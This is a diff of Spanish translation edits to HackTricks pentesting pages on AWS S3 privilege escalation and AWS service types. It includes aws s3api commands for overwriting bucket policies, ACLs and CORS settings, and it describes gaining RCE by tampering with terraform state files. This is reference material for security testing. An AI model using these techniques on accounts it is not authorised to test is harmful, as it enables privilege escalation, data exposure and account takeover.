`s3:GetObject` -Estos son los permisos para **obtener y subir objetos a S3**. Varios servicios dentro de AWS (y fuera de él) usan el almacenamiento S3 para guardar **config files**.\ -Un atacante con **read access** a ellos podría encontrar **información sensible** en ellos.\ -Un atacante con **write access** a ellos podría **modificar los datos para abusar de algún servicio y tratar de escalar privilegios**.\ +Estos son los permisos para **obtener y subir objetos a S3**. Varios servicios dentro de AWS (y fuera de ella) usan el almacenamiento S3 para guardar **archivos de configuración**.\ +Un atacante con **acceso de lectura** a ellos podría encontrar **información sensible** en ellos.\ +Un atacante con **acceso de escritura** podría **modificar los datos para abusar de algún servicio y tratar de escalar privilegios**.\ Estos son algunos ejemplos: -- Si una instancia EC2 está almacenando los **user data en un S3 bucket**, un atacante podría modificarlos para **ejecutar código arbitrario dentro de la instancia EC2**. +- Si una instancia EC2 está almacenando los **user data in a S3 bucket**, un atacante podría modificarlo para **ejecutar código arbitrario dentro de la instancia EC2**. -### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file +### `s3:PutObject`, `s3:GetObject` (opcional) sobre archivos de estado de terraform -Es muy común que los state files de [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) se guarden en el blob storage de los proveedores cloud, p.ej. AWS S3. El sufijo de archivo para un state file es `.tfstate`, y los nombres de bucket a menudo también delatan que contienen terraform state files. Normalmente, cada cuenta AWS tiene un bucket así para almacenar los state files que muestran el estado de la cuenta. Además, en cuentas del mundo real casi siempre los desarrolladores tienen `s3:*` y a veces incluso los business users tienen `s3:Put*`. +Es muy común que los archivos de estado de [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) se guarden en blob storage de los proveedores cloud, p.ej. AWS S3. El sufijo de archivo para un state file es `.tfstate`, y los nombres de los buckets a menudo también delatan que contienen archivos de estado de terraform. Normalmente, cada cuenta AWS tiene uno de estos buckets para almacenar los archivos de estado que muestran el estado de la cuenta. +Además, en cuentas del mundo real casi siempre todos los desarrolladores tienen `s3:*` y a veces incluso usuarios de negocio tienen `s3:Put*`. -Entonces, si tienes los permisos listados sobre estos archivos, hay un vector de ataque que te permite obtener RCE en la pipeline con los privilegios de `terraform` —la mayoría de las veces `AdministratorAccess`—, convirtiéndote en el administrador de la cuenta cloud. Además, puedes usar ese vector para realizar un ataque de denegación de servicio haciendo que `terraform` elimine recursos legítimos. +Por lo tanto, si tienes los permisos mencionados sobre estos archivos, existe un vector de ataque que te permite obtener RCE en la pipeline con los privilegios de `terraform` — la mayoría de las veces `AdministratorAccess`, lo que te convierte en el administrador de la cuenta cloud. Además, puedes usar ese vector para realizar un ataque de denegación de servicio haciendo que `terraform` elimine recursos legítimos. -Sigue la descripción en la sección *Abusing Terraform State Files* de la página *Terraform Security* para código de exploit directamente usable: +Sigue la descripción en la sección *Abusing Terraform State Files* de la página *Terraform Security* para obtener código de exploit directamente usable: {{#ref}} ../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files @@ -64,7 +64,7 @@ Sigue la descripción en la sección *Abusing Terraform State Files* de la pági ### `s3:PutBucketPolicy` -Un atacante, que necesita ser **del mismo account**, si no se producirá el error `The specified method is not allowed will trigger`, con este permiso podrá concederse más permisos sobre el/los bucket(s), permitiéndole leer, escribir, modificar, eliminar y exponer buckets. +Un atacante, que necesita ser **de la misma cuenta** — si no, se disparará el error `The specified method is not allowed` — con este permiso podrá concederse más permisos sobre el/los **bucket(s)**, permitiéndole leer, escribir, modificar, eliminar y exponer buckets. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -123,7 +123,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -150,7 +150,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -Un atacante podría abusar de estos permisos para concederse más acceso sobre objetos específicos dentro de los buckets. +Un attacker podría abusar de estos permisos para otorgarse más acceso a objetos específicos dentro de buckets. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -177,16 +177,16 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -Se espera que un atacante con estos privilegios pueda establecer un Acl en una versión específica de un objeto. +Se espera que un atacante con estos privilegios pueda asignar un Acl a una versión específica del objeto ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` ### `s3:PutBucketCORS` -Un atacante con el permiso s3:PutBucketCORS puede modificar la configuración CORS (Cross-Origin Resource Sharing) de un bucket, que controla qué dominios web pueden acceder a sus endpoints. Si establece una política permisiva, cualquier sitio web podría realizar solicitudes directas al bucket y leer las respuestas desde un navegador. +Un atacante con el permiso s3:PutBucketCORS puede modificar la configuración CORS (Compartición de Recursos entre Orígenes) de un bucket, que controla qué dominios web pueden acceder a sus endpoints. Si establece una política permisiva, cualquier sitio web podría hacer solicitudes directas al bucket y leer las respuestas desde un navegador. -Esto significa que, potencialmente, si un usuario autenticado de una web app alojada en el bucket visita el sitio del atacante, el atacante podría explotar la política CORS permisiva y, dependiendo de la aplicación, acceder a los datos de perfil del usuario o incluso secuestrar la cuenta del usuario. +Esto significa que, potencialmente, si un usuario autenticado de una aplicación web alojada en el bucket visita el sitio del atacante, el atacante podría explotar la política CORS permisiva y, dependiendo de la aplicación, acceder a los datos de perfil del usuario o incluso secuestrar la cuenta del usuario. ```bash aws s3api put-bucket-cors \ --bucket \ diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index d7a2e41ab..e19ce3484 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -1,38 +1,32 @@ -# AWS - Services +# AWS - Servicios {{#include ../../../banners/hacktricks-training.md}} -## Types of services +## Tipos de servicios -### Container services +### Servicios de contenedores -Services that fall under container services have the following characteristics: +Los servicios que pertenecen a los servicios de contenedores tienen las siguientes características: -- The service itself runs on **separate infrastructure instances**, such as EC2. -- **AWS** is responsible for **managing the operating system and the platform**. -- A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**. -- As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**. -- Also, platform-level identity and access management where it exists. -- **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk. +- El propio servicio se ejecuta en **instancias de infraestructura separadas**, como EC2. +- **AWS** es responsable de **gestionar el sistema operativo y la plataforma**. +- AWS proporciona un servicio gestionado, que normalmente es el propio servicio para la **aplicación real que se ve como contenedores**. +- Como usuario de estos servicios de contenedores, tienes una serie de responsabilidades de gestión y seguridad, incluyendo **gestionar la seguridad de acceso a la red, como reglas de network ACL y cualquier firewall**. +- También, la gestión de identidad y acceso a nivel de plataforma cuando exista. +- **Ejemplos** de servicios de contenedores de AWS incluyen Relational Database Service, Elastic Mapreduce, y Elastic Beanstalk. -### Abstract Services +### Servicios abstractos -- These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**. -- The services are accessed via endpoints using AWS application programming interfaces, APIs. -- The **underlying infrastructure, operating system, and platform is managed by AWS**. -- The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared. -- **Data is isolated via security mechanisms**. -- Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS. +- Estos servicios están **eliminados, abstraídos, de la capa de plataforma o gestión sobre la que se construyen las aplicaciones en la nube**. +- Los servicios se acceden vía endpoints usando las APIs de AWS. +- La **infraestructura subyacente, el sistema operativo y la plataforma son gestionados por AWS**. +- Los servicios abstraídos proporcionan una plataforma multi-tenant en la que la infraestructura subyacente se comparte. +- **Los datos están aislados mediante mecanismos de seguridad**. +- Los servicios abstractos tienen una fuerte integración con IAM, y **ejemplos** de servicios abstractos incluyen S3, DynamoDB, Amazon Glacier, y SQS. -## Services Enumeration +## Enumeración de servicios -**The pages of this section are ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.** +**Las páginas de esta sección están ordenadas por servicio de AWS. Allí podrás encontrar información sobre el servicio (cómo funciona y sus capacidades) y eso te permitirá escalar privilegios.** -### Related: Amazon Bedrock security - -{{#ref}} -aws-bedrock-agents-memory-poisoning.md -{{#endref}} - {{#include ../../../banners/hacktricks-training.md}}